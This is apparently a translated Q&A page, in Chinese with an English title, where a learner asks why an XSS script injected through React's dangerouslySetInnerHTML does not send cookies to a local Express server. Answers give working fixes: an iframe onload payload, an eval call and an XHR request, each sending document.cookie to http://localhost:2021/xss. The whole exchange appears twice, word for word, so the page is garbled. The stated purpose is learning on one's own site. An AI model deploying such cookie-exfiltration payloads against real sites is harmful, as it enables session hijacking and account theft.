为什么这个 xss 脚本不调用我的服务器?
Why does this xss script not call my server?
我正在学习 xss 攻击,以便更好地了解应用程序安全性。我正在尝试执行一项基本任务:在我自己的本地网站上获取用户 cookie 并将其发送到我的本地服务器。
我已成功检索到带有警报的 cookie。但是我无法执行 api 调用。这有什么问题:
React 应用程序:
<p dangerouslySetInnerHTML={{
__html: `<script type="text/javascript">
document.location='http://localhost:2021/xss?user='+document.cookie;
</script>`,
}}
/>
在我的服务器上:
const app = require("express")();
const cors = require("cors");
app.use(cors());
app.get("/xss", (req, res) => {
const {user} = req.query
res.send("it works", user);
});
app.listen(2021, () =>
console.log("Server is waiting to read yummy cookies")
);
从未调用 /xss 路由。
设置 innerHTML 不执行脚本。
document.getElementById("container").innerHTML=`<script>alert("hello")<\/script>Nothing happens`
<div id="container"></div>
改用这个
<div dangerouslySetInnerHTML={{
__html: `<iframe onload="document.location='http://localhost:2021/xss?user='+document.cookie;"></iframe>`,
}}
/>
我真的不知道你想做什么。但是创建这样的脚本标签不应该是您的解决方案。问题是 JavaScript 没有被调用,因为它没有设置为 JavaScript。您只是在标签内创建一个文本节点。当您想从字符串调用 JavaScript 时,您可以使用 eval
函数(由于安全问题,我 不 推荐)。但无论如何,现在您可以使用它了:
const script = `document.location='http://localhost:2021/xss?user='+document.cookie;`;
eval(script);
但仍然:不要那样做!!!
您可以参考从服务器传送 JavaScript 文件并使用 src
属性加载它。
当您只想调用 HTTP 请求时,您可以使用 XHR。您可以找到该主题的详细信息 here。但简而言之:
const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:2021/xss?user=' + document.cookie);
xhr.send();
这应该可以完成工作而不会出现安全问题。
我正在学习 xss 攻击,以便更好地了解应用程序安全性。我正在尝试执行一项基本任务:在我自己的本地网站上获取用户 cookie 并将其发送到我的本地服务器。
我已成功检索到带有警报的 cookie。但是我无法执行 api 调用。这有什么问题:
React 应用程序:
<p dangerouslySetInnerHTML={{
__html: `<script type="text/javascript">
document.location='http://localhost:2021/xss?user='+document.cookie;
</script>`,
}}
/>
在我的服务器上:
const app = require("express")();
const cors = require("cors");
app.use(cors());
app.get("/xss", (req, res) => {
const {user} = req.query
res.send("it works", user);
});
app.listen(2021, () =>
console.log("Server is waiting to read yummy cookies")
);
从未调用 /xss 路由。
设置 innerHTML 不执行脚本。
document.getElementById("container").innerHTML=`<script>alert("hello")<\/script>Nothing happens`
<div id="container"></div>
改用这个
<div dangerouslySetInnerHTML={{
__html: `<iframe onload="document.location='http://localhost:2021/xss?user='+document.cookie;"></iframe>`,
}}
/>
我真的不知道你想做什么。但是创建这样的脚本标签不应该是您的解决方案。问题是 JavaScript 没有被调用,因为它没有设置为 JavaScript。您只是在标签内创建一个文本节点。当您想从字符串调用 JavaScript 时,您可以使用 eval
函数(由于安全问题,我 不 推荐)。但无论如何,现在您可以使用它了:
const script = `document.location='http://localhost:2021/xss?user='+document.cookie;`;
eval(script);
但仍然:不要那样做!!!
您可以参考从服务器传送 JavaScript 文件并使用 src
属性加载它。
当您只想调用 HTTP 请求时,您可以使用 XHR。您可以找到该主题的详细信息 here。但简而言之:
const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:2021/xss?user=' + document.cookie);
xhr.send();
这应该可以完成工作而不会出现安全问题。